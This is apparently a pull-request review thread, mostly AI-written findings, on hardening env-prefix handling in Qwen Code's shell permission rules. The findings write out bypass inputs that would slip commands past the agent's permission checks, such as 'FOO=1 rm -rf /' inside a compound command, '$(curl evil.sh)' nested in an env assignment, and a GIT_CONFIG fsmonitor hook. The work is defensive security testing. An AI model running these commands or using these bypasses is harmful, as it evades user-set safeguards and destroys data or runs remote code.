[Suggestion] R3-3: No test covers compound commands whose env prefix sits on a non-leading segment. The per-segment restrictive double-match is currently correct — with deny Bash(rm -rf *), evaluate({command: 'echo hi && FOO=1 rm -rf /'}) resolves 'deny' (verified) — but only because evaluateSingle recomputes the stripped identity per segment, and nothing pins that composition: a refactor hoisting stripLeadingVariableAssignments from evaluateSingle up to evaluate()'s compound-split entry would survive every current test (the strip returns 'echo hi && FOO=1 rm -rf /' unchanged since the first token echo is not an assignment, so the restrictiveCommand !== command guard short-circuits) and silently bypass the deny rule on the FOO=1 rm -rf / segment — exactly the attack shape this PR closes.

Witness:

evaluate allow:['Bash(*)'] deny:['Bash(rm -rf *)'] command "echo hi && FOO=1 rm -rf /" = deny
grep: 43 `&&` cases in permission-manager.test.ts, none combines an env prefix on a non-leading segment
with a restrictive rule; rule-parser.env-prefix.test.ts uses single commands only

Add to rule-parser.env-prefix.test.ts: with allow Bash(*) and deny Bash(rm -rf *), pm.evaluate({command: 'echo hi && FOO=1 rm -rf /'}) resolves 'deny' (and the ask analogue echo hi && FOO=bar git push --force vs ask Bash(git push *)); and with only allow Bash(npm *), echo hi && FOO=1 npm install does not resolve 'allow'. The proposed tests are their own acceptance criterion: moving the strip out of evaluateSingle makes the deny/ask cases resolve past the restrictive rules, so the tests red without the per-segment placement.

中文说明

没有测试覆盖“环境前缀位于复合命令非首段”的情形。当前按段的双重限制性匹配是正确的——配置 deny Bash(rm -rf *)evaluate({command: 'echo hi && FOO=1 rm -rf /'}) 解析为 'deny'(已实测)——但这仅仅因为 evaluateSingle 会按段重新计算剥离后的身份,而没有任何测试固定这一组合方式:把 stripLeadingVariableAssignmentsevaluateSingle 提升到 evaluate() 的复合命令切分入口的重构,可以通过现有全部测试(剥离对 'echo hi && FOO=1 rm -rf /' 原样返回,因为首词 echo 不是赋值,restrictiveCommand !== command 守卫短路),并在 FOO=1 rm -rf / 段上静默绕过 deny 规则——正是本 PR 要闭合的攻击形态。

修复建议:在 rule-parser.env-prefix.test.ts 中新增:配置 allow Bash(*) 与 deny Bash(rm -rf *) 时,pm.evaluate({command: 'echo hi && FOO=1 rm -rf /'}) 解析为 'deny'(以及 ask 对应:echo hi && FOO=bar git push --force 对 ask Bash(git push *));仅配置 allow Bash(npm *) 时,echo hi && FOO=1 npm install 不解析为 'allow'。修复验收标准即上述测试本身:把剥离移出 evaluateSingle 会使 deny/ask 用例绕过限制性规则解析,因此移除按段放置后测试必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +409 to +411
const restrictiveCommand =
command !== undefined && SHELL_TOOL_NAMES.has(toolName)
? stripLeadingVariableAssignments(command)

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R3-4: The identical ~15-line restrictiveCommand/restrictiveMatchArgs construction is pasted verbatim into four methods — evaluateSingle (~409), findMatchingDenyRule (~953), hasRelevantRules (~1127), hasMatchingAskRule (~1243) — and the matchesRule(…) || (restrictiveCommand !== command && matchesRule(…restrictiveMatchArgs, 'canonical')) predicate appears at five sites. The legacy-identity policy this PR iterated over three review rounds now lives in four independent copies: any future correction to the legacy-identity computation (strip semantics, tool set, normalization) must be replicated at every site, and missing one silently diverges deny/ask coverage between entry points — e.g. hasRelevantRules reports no relevant rules while evaluate() would deny, or findMatchingDenyRule fails to name a rule evaluate() enforced. That asymmetric-coverage failure is precisely the defect class this PR exists to prevent.

Witness:

four identical construction blocks: permission-manager.ts evaluateSingle 409-421, findMatchingDenyRule 953-966,
hasRelevantRules 1126-1139, hasMatchingAskRule 1239-1252; five double-match predicates;
current behavior verified correct ("echo hi && FOO=1 rm -rf /" = deny)

Extract a private helper on PermissionManager (e.g. matchesRestrictiveRule(rule, matchArgs, toolName, command)) that computes the stripped identity once and applies the dual-match predicate, and call it from all four sites.

Allow rules must not receive the restrictive second match — evaluateSingle's allow branch (if (matchesRule(rule, ...matchArgs)) return 'allow';, ~line 458) and hasRelevantRules' allowRules.some((rule) => matchesRule(rule, ...matchArgs)) (~line 1148) intentionally match the full identity only; the extracted helper must not leak into the allow path.

中文说明

完全相同的约 15 行 restrictiveCommand/restrictiveMatchArgs 构造被逐字粘贴进四个方法——evaluateSingle(约 409)、findMatchingDenyRule(约 953)、hasRelevantRules(约 1127)、hasMatchingAskRule(约 1243)——且 matchesRule(…) || (restrictiveCommand !== command && matchesRule(…restrictiveMatchArgs, 'canonical')) 谓词出现在五处。本 PR 经过三轮评审迭代出的遗留身份策略现在存于四份独立副本:未来对遗留身份计算的任何修正(剥离语义、工具集合、规范化)都必须在每一处重复,漏掉一处就会让各入口的 deny/ask 覆盖静默分叉——例如 hasRelevantRules 报告无相关规则而 evaluate() 本应拒绝,或 findMatchingDenyRule 说不出 evaluate() 实际执行的那条规则。这种覆盖不对称正是本 PR 要预防的缺陷类别。

修复建议:在 PermissionManager 上抽取一个私有辅助方法(如 matchesRestrictiveRule(rule, matchArgs, toolName, command)),只计算一次剥离身份并应用双重匹配谓词,四个调用点统一调用。

修复约束:allow 规则绝不能获得限制性二次匹配——evaluateSingle 的 allow 分支(if (matchesRule(rule, ...matchArgs)) return 'allow';,约 458 行)与 hasRelevantRulesallowRules.some((rule) => matchesRule(rule, ...matchArgs))(约 1148 行)有意只按完整身份匹配;抽取的辅助方法不得渗入 allow 路径。

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +1264 to +1266
const nameNode = commandNode.childForFieldName('name');
const envPrefix = nameNode
? commandNode.namedChildren

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R3-5: Rule generation with multiple leading assignments is untested — the new envPrefix collection is exercised only with single prefixes, while the matcher side deliberately pins a three-prefix GIT_CONFIG_* identity. The code is correct today — extractCommandRules('A=1 B=2 npm install express') returns ['A=1 B=2 npm install *'], and the three-prefix GIT_CONFIG command round-trips to 'allow' (both verified) — but if the filter/join mishandles multiple variable_assignment children, extractCommandRules emits a rule that does not round-trip: the persisted Always-Allow grant silently never matches, and the user is re-prompted forever for a command they already approved, with no failing test to catch it.

Witness:

extractCommandRules('A=1 B=2 npm install express') = ["A=1 B=2 npm install *"]
extractCommandRules('GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=/tmp/fsmonitor.sh git status --short')
  = ["GIT_CONFIG_COUNT=1 GIT_CONFIG_KEY_0=core.fsmonitor GIT_CONFIG_VALUE_0=/tmp/fsmonitor.sh git status *"]
both round-trip to 'allow'; generation tests cover single prefixes only (shellAstParser.test.ts:1064-1071)

Extend the renamed 'preserves env var prefixes in generated rules' case (or the round-trip test) with a multi-prefix input, e.g. extractCommandRules('A=1 B=2 npm install express')['A=1 B=2 npm install *'], and round-trip a three-prefix GIT_CONFIG_* command through extractCommandRulesBash(...)pm.evaluate → 'allow'. The proposed round-trip assertion is the acceptance criterion: any mutation that drops or reorders collected assignments in envPrefix makes the generated rule fail to match its source command, so the test reds.

中文说明

多前缀赋值的规则生成没有测试——新的 envPrefix 收集只在单前缀下运行过,而匹配器一侧却刻意固定了三前缀的 GIT_CONFIG_* 身份。当前代码是正确的——extractCommandRules('A=1 B=2 npm install express') 返回 ['A=1 B=2 npm install *'],三前缀 GIT_CONFIG 命令往返得到 'allow'(均已实测)——但如果 filter/join 处理多个 variable_assignment 子节点出错,extractCommandRules 会产出一条无法往返的规则:持久化的“始终允许”授权静默失效,用户会对一个已经批准过的命令永远重复收到询问,而且没有任何失败的测试能发现它。

修复建议:在改名后的 'preserves env var prefixes in generated rules' 用例(或往返测试)中加入多前缀输入,例如 extractCommandRules('A=1 B=2 npm install express')['A=1 B=2 npm install *'],并把三前缀 GIT_CONFIG_* 命令经 extractCommandRulesBash(...)pm.evaluate → 'allow' 完整往返。修复验收标准即该往返断言:任何丢弃或打乱 envPrefix 中收集到的赋值的突变都会使生成的规则无法匹配其源命令,测试变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

@qwen-code-ci-bot qwen-code-ci-bot left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Partially reviewed — gaps disclosed.

1 Suggestion-level finding(s) this review confirmed are already reported on this PR and are not repeated:

  • R3-4 identical ~15-line restrictiveCommand/restrictiveMatchArgs construction pasted into four permission-manager.ts methods — still stands — already reported (comment 3887899042)

Not explored to full depth (tool budget reached): "agent reverse-audit (round 3)": (none — completed within budget).

Not reviewed: reverse audit — did not converge within the reverse-audit round cap of 5.

Deferred under the convergence posture (round 4, not a blocker) — recorded, not requested in this round:

  • packages/core/src/permissions/rule-parser.env-prefix.test.ts:201 — [probe] no cross-prefix-value negative case in the round-trip/matcher tests
  • packages/core/src/permissions/rule-parser.env-prefix.test.ts:216 — [probe] AUTO classification of assignment-only and concrete prefixed rules unpinned
  • packages/core/src/utils/shellAstParser.ts:1275 — [probe] literal * in an approved command's env value becomes a wildcard in the persisted grant
  • packages/core/src/permissions/rule-parser.env-prefix.test.ts:93 — [probe] quoted env-value preservation test has no quote-opacity negative pin

Convergence: round 4 posted 5 inline comment(s), 5 of them reported for the first time; the previous round posted 7 (7 new). Findings keep coming back to the same files: packages/core/src/permissions/rule-parser.ts (findings in rounds 1, 3; 4 more now). A cluster that keeps producing siblings usually means the fixes are treating instances of a shared root cause — triaging that cause before the next round, or splitting an independent cluster into its own pull request, tends to end the loop faster than fixing them one at a time. (Observation only — nothing was withheld from this review because of this observation.)

中文说明

仅完成部分审查,审查缺口已披露。

本轮确认的 1 条建议级发现已在 PR 上报告过,不再重复发布(列表见上方英文部分)。

未探索到全部深度(达到工具调用预算):"agent reverse-audit (round 3)"(none — completed within budget)

未审查:反向审计——在 5 轮的反审轮数上限内未收敛。

收敛姿态下延后(第 4 轮,非阻断)——已记录,本轮不要求修改:共 4 条(原文未翻译,列表见上方英文部分)。

收敛情况:第 4 轮发布了 5 条行内评论,其中 5 条是首次提出;上一轮发布了 7 条(其中 7 条首次提出)。发现反复回到同一批文件:packages/core/src/permissions/rule-parser.ts(第 1、3 轮已出过发现,本轮又有 4 条)。一个不断再生兄弟发现的簇,通常意味着逐条修复只在处理同一根因的实例——先定位并处理该根因,或把独立的簇拆成单独的 PR,通常比逐条修复更快结束循环。(仅为观察——本轮评审未因此扣留任何内容。)

— qwen3.8-max via Qwen Code /review (v0.22.3)

// No word boundary: "ls*" → `ls` followed by anything
regex += escapeRegex(literalBefore);
regex += '.*';
regex += assignmentValueWildcards.has(starIdx) ? '[^ ]*' : '.*';

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R3-2: (fix-induced) [certifies-falsely] [regression] The round-4 fix for R3-2 closed the reported input — unquoted value wildcards are now bounded to [^ ]* — but the bounding is escaped in two executed directions, both in the hand-rolled scanner/regex-builder pair this class of finding keeps returning to (R1-8, R1-10, R2-7, R2-8, R3-1 and now these). First: a * quoted inside a leading NAME=value pattern word is never recorded by findUnquotedAssignmentValueWildcardPositions (its quote state skips it), so the builder above falls back to unbounded .*, which crosses the closing quote — the exact crossing the comment two lines above forbids. A rule Bash(FOO="*" npm *) then silently auto-approves FOO="x" npm" npm install evil", which bash executes as assignment FOO=x plus ONE word npm npm install evil — an attacker-planted binary whose filename contains a space. Second: a * nested inside a command substitution in an env-prefix value escapes the same bounding — an approved command FILES=$(ls *.txt) npm run process persists the grant Bash(FILES=$(ls *.txt) npm run *), and the later command FILES=$(ls $(curl evil.sh).txt) npm run build matches it and resolves to 'allow' end-to-end (the substitution-aware ask fallback fires only on 'default', never after a rule match), while bash executes the inner $(curl evil.sh) while expanding the assignment. Folded evidence of the same root: quote-variant deny evasion (FOO='bar' rm -rf / evades Bash(FOO=bar rm -rf *) — also new surface, env-prefixed deny rules matched nothing pre-PR) and space-bearing-word undermatch siblings. Close the class structurally: derive the match from the shared authoritative tokenization already used on both sides (permissionMatchTokens/shell-quote, tree-sitter on the extraction side) — e.g. token-level glob matching — instead of compiling a regex from raw pattern text; as immediate hardening, record stars inside quoted regions and inside substitution bodies of leading NAME=value words into the containment set (or treat them as literal), and refuse to emit env-prefixed grants whose assignment values contain a * anywhere.

Witness:

HEAD: matchesCommandPattern('FOO="*" npm *', 'FOO="x" npm" npm install evil"') = true
      evaluate allow:['Bash(FOO="*" npm *)'] = 'allow'   (control unquoted-star pattern = false)
      bash: words=1, word=[npm npm install evil]; planted executable exits 0
HEAD: extractCommandRules('FILES=$(ls *.txt) npm run process') = ['FILES=$(ls *.txt) npm run *']
      matchesCommandPattern(rule, 'FILES=$(ls $(curl evil.sh).txt) npm run build') = true
      pm.evaluate = 'allow'; evaluatePermissionRules finalPermission = 'allow'
BASE: extraction dropped the prefix ('npm run *') -> same command resolves 'ask'
FLIP: containment mutant (record quoted stars) -> false / 'ask', all 23 existing env-prefix tests green
      revert of the three extraction hunks -> ['npm run *'], 'ask'

The containment extension must keep the R3-2 semantics pinned by 'keeps env-value wildcards inside the assignment shell word' in rule-parser.env-prefix.test.ts: NODE_OPTIONS=* npm * keeps rejecting NODE_OPTIONS=x sh -c evil npm while matching NODE_OPTIONS=--require=*evil.cjs npm --version. Add expect(matchesCommandPattern('FOO="*" npm *', 'FOO="x" npm" npm install evil"')).toBe(false) and expect(matchesCommandPattern('FILES=$(ls *.txt) npm run *', 'FILES=$(ls $(curl evil.sh).txt) npm run build')).toBe(false) — removing the containment extension must turn both red.

中文说明

本轮对 R3-2 的修复闭合了其报告的输入——未加引号的赋值值通配符现在被限制为 [^ ]*——但该限制在两个已实测方向上被绕过,二者都属于这一类发现反复出现的根源:手工扫描器/正则构建器与 shell 词语义的分歧(此前已有 R1-8、R1-10、R2-7、R2-8、R3-1)。其一:前置 NAME=value 模式词中带引号的 * 不会被 findUnquotedAssignmentValueWildcardPositions 记录(其引号状态直接跳过引号内部),于是上方构建器回退到无界的 .*,可以跨越闭合引号——正是上方两行注释明令禁止的跨越。规则 Bash(FOO="*" npm *) 因此会静默自动批准 FOO="x" npm" npm install evil",而 bash 把该命令执行为赋值 FOO=x 加单个词 npm npm install evil——即文件名含空格的攻击者植入二进制。其二:环境前缀值中嵌套在命令替换内的 * 同样绕过该限制——批准 FILES=$(ls *.txt) npm run process 会持久化授权 Bash(FILES=$(ls *.txt) npm run *),之后的命令 FILES=$(ls $(curl evil.sh).txt) npm run build 能匹配该规则并端到端解析为 'allow'(替换感知的 ask 回退只在 'default' 时触发,规则匹配后永不触发),而 bash 在展开赋值时会执行内层的 $(curl evil.sh)。同根因的折叠证据:引号变体对 deny 规则的绕过(FOO='bar' rm -rf / 可绕过 Bash(FOO=bar rm -rf *)——同样是新表面,PR 之前带前缀的 deny 规则什么都匹配不到)以及含空格单词的欠匹配兄弟形态。请从结构上闭合该类问题:用双侧已在使用的权威分词(permissionMatchTokens/shell-quote,提取侧为 tree-sitter)派生匹配——例如分词级 glob 匹配——而不是从原始规则文本编译正则;作为即时加固,把前置 NAME=value 词的引号区域内、替换体内的星号记入限制集合(或按字面量处理),并拒绝为赋值值中任意位置含 * 的命令生成带前缀授权。

修复约束:限制扩展必须保持 rule-parser.env-prefix.test.ts 中 'keeps env-value wildcards inside the assignment shell word' 固化的 R3-2 语义:NODE_OPTIONS=* npm * 继续拒绝 NODE_OPTIONS=x sh -c evil npm,同时继续匹配 NODE_OPTIONS=--require=*evil.cjs npm --version。修复验收标准:补充 expect(matchesCommandPattern('FOO="*" npm *', 'FOO="x" npm" npm install evil"')).toBe(false)expect(matchesCommandPattern('FILES=$(ls *.txt) npm run *', 'FILES=$(ls $(curl evil.sh).txt) npm run build')).toBe(false)——移除该限制扩展后两条断言必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +417 to +418
rawSpecifier = rawSpecifier.replace(
/(^|[ \t\n])([^ \t\n="'`=]+):\*(?=$|[ \t\n])/g,

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] R1-2: (fix-induced) [certifies-falsely] [regression] This token-bounded rewrite — the round-4 fix for the carried R1-2 — closed the reported input (:* no longer fires inside env assignment values), but its exclusion class is wider than its rationale: it excludes = anywhere in the preceding token, and --registry=https://x fails ENV_ASSIGNMENT_REGEX, so it is NOT an assignment token. Legacy restrictive rules with :* glued to a token containing = are therefore no longer rewritten: Bash(npm --registry=https://x:*) keeps the :*, the star is neither space-preceded nor an assignment-value wildcard, the compiled regex requires a literal : after the value, and a previously denied command no longer matches — the deny rule is silently disabled (the same shape in an ask rule silently skips the prompt). The git:** / curl:*.evil.com lookahead-loss shapes are the same rewrite-scope surface. Verified scope correction: quoted-token variants (Bash(git log --pretty="%h":*)) are NOT a regression — the base arm allowed them too. Narrow the protection to genuine leading assignment words instead of blanket-excluding =/quotes:

rawSpecifier = rawSpecifier.replace(
  /(^|[ \t\n])([^ \t\n]+):\*(?=$|[ \t\n])/g,
  (m, lead, token) => (ENV_ASSIGNMENT_REGEX.test(token) ? m : `${lead}${token} *`),
);

so FOO=a:* stays protected while --flag=val:* rewrites exactly as pre-PR.

Witness:

BASE: parseRule('Bash(npm --registry=https://x:*)').specifier = 'npm --registry=https://x *'
      evaluate(allow ['Bash(*)'], deny [rule], 'npm --registry=https://x install') = 'deny'
      findMatchingDenyRule = 'Bash(npm --registry=https://x:*)'
PR:   specifier = 'npm --registry=https://x:*'
      evaluate = 'allow'; findMatchingDenyRule = undefined

The fix must keep parseRule('Bash(FOO=a:* npm install)').specifier === 'FOO=a:* npm install' pinned at rule-parser.env-prefix.test.ts:258-260 and the round-trip test at :315-317, and use the existing NAME= word definition ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/ (rule-parser.ts:1153), not a new one. Add an assertion that parseRule('Bash(npm --registry=https://x:*)').specifier is 'npm --registry=https://x *' — it goes red if the fix reverts to the blanket = exclusion, and the FOO=a:* pins must stay green.

中文说明

这个分词受限的重写——即对已携带条目 R1-2 的本轮修复——闭合了其报告的输入(:* 不再在环境赋值值内部触发),但其排除类比修复理由更宽:它排除了前方分词中任意位置含 = 的情形,而 --registry=https://x 并不匹配 ENV_ASSIGNMENT_REGEX,并不是赋值分词。因此,:* 紧贴含 = 分词的遗留限制性规则不再被重写:Bash(npm --registry=https://x:*) 保留 :*,该星号既不以空格开头也不是赋值值通配符,编译出的正则要求值后出现字面 :,原本被拒绝的命令不再匹配——deny 规则被静默禁用(ask 规则中的同形态则静默跳过询问)。git:** / curl:*.evil.com 等前瞻失效形态属于同一重写作用域表面。已验证的范围修正:带引号分词变体(Bash(git log --pretty="%h":*))不是回归——base 侧同样放行。请把保护范围收窄到真正的前置赋值词,而不是一刀切排除 =/引号(见上方代码):使 FOO=a:* 仍受保护,而 --flag=val:* 按 PR 之前的行为重写。

修复约束:修复必须保持 rule-parser.env-prefix.test.ts:258-260 固化的 parseRule('Bash(FOO=a:* npm install)').specifier === 'FOO=a:* npm install' 及 :315-317 的闭环测试,并使用现有的 NAME= 词定义 ENV_ASSIGNMENT_REGEX = /^[A-Za-z_][A-Za-z0-9_]*=/(rule-parser.ts:1153),不要新造一个。修复验收标准:补充断言 parseRule('Bash(npm --registry=https://x:*)').specifier'npm --registry=https://x *'——若修复退回一刀切 = 排除则该断言变红,且 FOO=a:* 的固化必须保持为绿。

— qwen3.8-max via Qwen Code /review (v0.22.3)

: undefined;
if (specifierKind === 'command') {
rawSpecifier = rawSpecifier.replace(/:(\*)/g, ' $1');
// Legacy `:*` is token syntax; never rewrite env assignment values.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R4-1: Because this rewrite no longer touches FOO=a:*, rawSpecifier still contains ':' after the replacement, so the else-if at rule-parser.ts:469-474 fires key:value syntax is only supported for literal-specifier tools every time Bash(FOO=a:* npm install) is parsed — a rule shape this PR explicitly makes first-class (the new test 'round-trips colon-star env values through generated rules' pins the round-trip). The rule parses and matches correctly; the warning states the opposite and points anyone debugging such a rule with the debug log on at a syntax problem that does not exist. Pre-PR the global rewrite removed the colon, so this shape never reached the warning; the rewrite above made it reachable. Base the warning on the command identity after leading assignments instead:

} else if (
  specifierKind !== 'literal' &&
  stripLeadingVariableAssignments(rawSpecifier).includes(':') &&
  !rawSpecifier.startsWith('domain:')
) {

Witness:

parseRule('Bash(FOO=a:* npm install)') warns:
  ['key:value syntax is only supported for literal-specifier tools (got command for "run_shell_command")']
parseRule('Bash(git:*)') warns: []   (specifier 'git *')

The warning branch at rule-parser.ts:469-474 is the sole consumer of this colon check; the tightened condition must keep warning for colons in the command/argument portion (e.g. Bash(git log:%M)), only skipping colons inside leading NAME=value words. A test with debugLogger spied asserting parseRule('Bash(FOO=a:* npm install)') emits no key:value warning must go red if the tightened guard is removed.

中文说明

由于该重写不再触碰 FOO=a:*,替换之后 rawSpecifier 仍包含 ':',因此每次解析 Bash(FOO=a:* npm install) 时 rule-parser.ts:469-474 的 else-if 都会触发 key:value syntax is only supported for literal-specifier tools 警告——而这是本 PR 明确列为一等公民的规则形态(新测试 'round-trips colon-star env values through generated rules' 已固化该闭环)。规则本身的解析与匹配都正确;警告却传达了相反结论,会让开启调试日志排查此类规则的人误以为存在语法问题。PR 之前全局重写会先移除冒号,该形态永远到不了这个警告;上面的重写使其变得可达。请把警告的判断基础改为去除前置赋值后的命令身份(见上方代码)。

修复约束:rule-parser.ts:469-474 的警告分支是该冒号检查的唯一消费方;收紧后的条件必须继续对命令/参数部分的冒号发出警告(如 Bash(git log:%M)),仅跳过前置 NAME=value 词内部的冒号。修复验收标准:在 mock 掉 debugLogger 的测试中断言 parseRule('Bash(FOO=a:* npm install)') 不产生 key:value 警告——移除收紧后的守卫后该断言必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +990 to +993
if (
isAssignmentOnlyPermissionPattern(normalizedPattern) &&
!isAssignmentOnlyPermissionPattern(normalizedCommand)
) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R4-2: This assignment-only identity guard — and every other leading-assignment test in this PR — keys off ENV_ASSIGNMENT_REGEX, which recognizes only NAME=. Bash's other assignment-word forms (NAME+=, array subscript NAME[sub]= and NAME[sub]+=) are classified as command words, so Bash(FOO+=bar) and Bash(FOO[0]=bar) fall through to wildcard-less prefix matching and authorize FOO+=bar <anything> / FOO[0]=bar <anything> — the exact widening this guard's own comment forbids, and stripLeadingVariableAssignments is a no-op for these forms too, so the restrictive double-match fallback does not rescue them. Both over-matches are byte-identical pre-existing behavior at the merge base (probed in both arms), so this is filed as a Suggestion, not a regression — but the guard is new code whose documented purpose is exactly this case, and the extraction side (tree-sitter) treats += as a first-class env prefix, so the PR's two 'what is an env assignment' oracles diverge. Widen the assignment-word detector to Bash's full assignment-word grammar — /^[A-Za-z_][A-Za-z0-9_]*(\[[^\]]*\])?\+?=/ — or derive it from the shared authoritative tokenization (the structural fix in the R3-2 thread), applied at every site that tests leading assignments.

Witness:

Both arms (HEAD and merge base):
  matchesCommandPattern('FOO+=bar',  'FOO+=bar rm -rf /')        = true
  matchesCommandPattern('FOO[0]=bar','FOO[0]=bar curl evil.sh')  = true
  matchesCommandPattern('FOO[ab]=c', 'FOO[ab]=c curl evil.sh')   = true
  control ('FOO=bar', 'FOO=bar curl evil.sh')                    = false
bash 5.2: 'FOO[0]=bar echo CMD-RAN' -> CMD-RAN, exit 0
flip: widened regex -> false / false / false; exact match ('FOO[0]=bar','FOO[0]=bar') stays true

ENV_ASSIGNMENT_REGEX (rule-parser.ts:1153) is read at rule-parser.ts:1238/1298/1335/1361 and feeds dangerousRules.ts:175 classification; duplicate private copies live at shellReadOnlyChecker.ts:94, shell-utils.ts:109, shell-semantics.ts:188 and shell.ts:1669 — none accepts +=, so the oracle copies must move together deliberately. Add expect(matchesCommandPattern('FOO+=bar', 'FOO+=bar rm -rf /')).toBe(false) plus the FOO[0]=bar analogue and expect(matchesCommandPattern('FOO[0]=bar', 'FOO[0]=bar')).toBe(true) — removing the widened detector must turn the negative asserts red.

中文说明

这个"仅赋值"身份守卫——以及本 PR 中所有其他前置赋值判定——都依赖 ENV_ASSIGNMENT_REGEX,而它只识别 NAME=。Bash 的其他赋值词形态(NAME+=、数组下标 NAME[sub]=NAME[sub]+=)会被判定为命令词,因此 Bash(FOO+=bar)Bash(FOO[0]=bar) 会落入无通配符的前缀匹配,授权 FOO+=bar <任意命令> / FOO[0]=bar <任意命令>——正是守卫自身注释声称要阻止的放宽;且 stripLeadingVariableAssignments 对这些形态同样无效,限制性双匹配回退也救不回来。两种过度匹配在合并基线上是逐字节一致的既有行为(双侧均已实测),因此按建议级提交而非回归——但该守卫是新代码,其明文职责正是这一情形,而且提取侧(tree-sitter)把 += 当作一等环境前缀,本 PR 的两个"什么是环境赋值"判定源因此发生分歧。请把赋值词检测器扩到 Bash 完整的赋值词语法——/^[A-Za-z_][A-Za-z0-9_]*(\[[^\]]*\])?\+?=/——或从共享的权威分词派生(见 R3-2 线索中的结构性修复),并应用到所有测试前置赋值的位点。

修复约束:ENV_ASSIGNMENT_REGEX(rule-parser.ts:1153)在 rule-parser.ts:1238/1298/1335/1361 被读取,并驱动 dangerousRules.ts:175 的分类;私有副本分别在 shellReadOnlyChecker.ts:94、shell-utils.ts:109、shell-semantics.ts:188 与 shell.ts:1669——没有一个接受 +=,因此各判定副本必须有意识地同步修改。修复验收标准:补充 expect(matchesCommandPattern('FOO+=bar', 'FOO+=bar rm -rf /')).toBe(false)FOO[0]=bar 对应断言及 expect(matchesCommandPattern('FOO[0]=bar', 'FOO[0]=bar')).toBe(true)——移除扩展后的检测器必须使否定断言变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

Comment on lines +256 to +257
it('keeps legacy colon-star syntax out of env values', () => {
expect(parseRule('Bash(git:*)').specifier).toBe('git *');

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] R4-3: The rewrite's exclusion for quoted/backticked assignment values — a behavior change versus the merge base's quote-blind global rewrite — has no test pin; only the unquoted FOO=a:* shape below is pinned. Behavior is correct at HEAD (all three quote kinds keep the specifier intact), but the pin matters because the coverage-loss fix in the R1-2 thread invites widening the rewrite again, and such a widening would silently rewrite Bash(FOO='a:*' npm) to FOO='a *' npm — turning a literal value into a wildcard template where a quoted * compiles to unbounded .* — with the whole suite green. Add the missing cases to this test:

expect(parseRule("Bash(FOO='a:*' npm)").specifier).toBe("FOO='a:*' npm");
expect(parseRule('Bash(FOO="a:*" npm)').specifier).toBe('FOO="a:*" npm');
expect(parseRule('Bash(FOO=`a:*` npm)').specifier).toBe('FOO=`a:*` npm');

Witness:

BASE: parseRule("Bash(FOO='a:*' npm)").specifier = "FOO='a *' npm"
      (same mangling for " and backtick; the literal base regex /:(\*)/g reproduces it)
PR:   "FOO='a:*' npm" — intact
Grep over packages/core test files: no quoted/backticked ':*' env-value pin exists

parseRule('Bash(git:*)').specifier must still rewrite to 'git *' — pinned by the adjacent assertion above. The added assertions go red if the quote/backtick exclusion in the rewrite regex (rule-parser.ts:416-420) is dropped or broadened back to the merge-base global rewrite.

中文说明

重写对带引号/反引号赋值值的排除——相对于合并基线上不分引号的全局重写是一次行为变化——目前没有任何测试固化;只有下方未加引号的 FOO=a:* 形态被固化。HEAD 上的行为是正确的(三种引号形态都保持规则文本不变),但固化这一点很重要:R1-2 线索中的覆盖丢失修复会诱导再次放宽该重写,而那样的放宽会把 Bash(FOO='a:*' npm) 静默重写为 FOO='a *' npm——把字面值变成通配模板(其中带引号的 * 会编译为无界 .*)——而整个测试套件仍是绿的。请在本测试中补充上述缺失用例。

修复约束:parseRule('Bash(git:*)').specifier 必须仍被重写为 'git *'——由上方相邻断言固化。修复验收标准:若移除或放宽重写正则(rule-parser.ts:416-420)中的引号/反引号排除、退回合并基线的全局重写,新增断言必须变红。

— qwen3.8-max via Qwen Code /review (v0.22.3)

@qqqys

qqqys commented Aug 31, 2026

Copy link
Copy Markdown
Collaborator

tmux e2e verification report (no Critical found)

Reviewed head 463bcd0685 (base main @ ec2fc5dd23). I independently read the full diff and the head sources (rule-parser.ts, permission-manager.ts, dangerousRules.ts, shellAstParser.ts), ran the touched unit suites, and then drove the bundled CLI in a real tmux TUI session. No merge-blocking issue found; the two prior Criticals (the :* specifier rewrite leaking into env values, and unbounded assignment-value wildcards) are closed at this head, and the current round's remaining items are Suggestion-level.

Code review (what the change does)

The PR makes Bash permission matching env-prefix-aware, strictly in the fail-closed direction:

  • Allow rules bind the full identity. normalizeCommandForPermissionMatch no longer strips leading NAME=value words before matching allow rules, so Bash(npm install) does not authorize NODE_OPTIONS=--require=… npm install. Allow matching is monotonically narrower.
  • Deny/ask stay restrictive. permission-manager.ts evaluates deny/ask rules against both the full command and the legacy env-stripped form (restrictiveCommand), so an env prefix can never bypass a restriction. The allow cascade (Priority 3) deliberately uses only the single identity — verified it was not given the double-match.
  • Generated grants keep the prefix. extractCommandRules/extractRuleFromCommand now emit FOO=bar npm install * instead of npm install *, so "Always allow" can't silently widen to any env.
  • Assignment-only rules are identities, and * inside a leading assignment value is bounded to [^ ]* (can't cross shell-word boundaries); non-IFS whitespace is protected so it can't be used as a fake word separator. isDangerousBashRule strips the prefix so AUTO mode still flags X=1 python *.

Unit tests (head tree)

src/permissions/rule-parser.env-prefix.test.ts   23 tests  ✓
src/permissions/permission-manager.test.ts      414 tests  ✓
src/utils/shellAstParser.test.ts                548 tests  ✓
Test Files  3 passed (3) — Tests 985 passed (985)

